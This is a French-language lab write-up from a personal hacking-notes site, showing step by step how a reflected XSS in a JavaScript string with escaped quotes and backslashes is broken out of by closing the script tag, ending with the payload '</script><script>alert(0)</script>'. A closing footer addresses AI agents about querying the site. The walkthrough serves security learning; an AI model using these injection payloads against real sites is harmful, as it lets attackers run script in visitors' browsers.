> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md).

# XSS dans une chaîne JavaScript avec apostrophe et antislash échappés

### XSS réfléchi dans une chaîne JavaScript avec apostrophe simple et antislash échappés

XSS réfléchi dans la fonctionnalité de suivi des termes de recherche. La valeur réfléchie est insérée dans une chaîne JavaScript ; les apostrophes simples et les antislashs ont été échappés, ce qui rend l'échappement difficile.

Objectif

* Sortir de la chaîne JavaScript échappée et appeler `alert()`.

<figure><img src="/files/d51c7e2b4f04c6e5b8933b72947ebc529ab3622f" alt=""><figcaption></figcaption></figure>

Observations actuelles

* Si `test` est envoyée, la valeur est stockée dans la `searchTerm` variable du script.
* Tentative d'introduire une nouvelle variable : / `test'; var=test='thisIsATest`/ → Il est observé que les guillemets et les antislashs () sont injectés/présents et empêchent l'injection directe.

```bash
test'; var=test='thisIsATest
```

* Insérer simplement la balise de fermeture du script peut fermer le contexte du script : `</script>`

```javascript
</script>
```

<figure><img src="/files/bb443faa2392ddc1f57c5747207fb2135b8d8407" alt=""><figcaption></figcaption></figure>

* Après la fermeture, du texte HTML simple peut être rendu : `</script><h1>HACK</h1>`

```javascript
</script><h1>HACK</h1>
```

<figure><img src="/files/9a15d26e11039ea4d32ad688868f6a53ee063f97" alt=""><figcaption></figcaption></figure>

* Et enfin, il est possible d'exécuter un `alerte` en ajoutant un nouveau `<script>` après la fermeture : `</script><script>alert(0)</script>`

```javascript
</script><script>alert(0)</script>
```

<figure><img src="/files/ec41f2ee9e1a18f98c75878a79d5835c786e39c3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
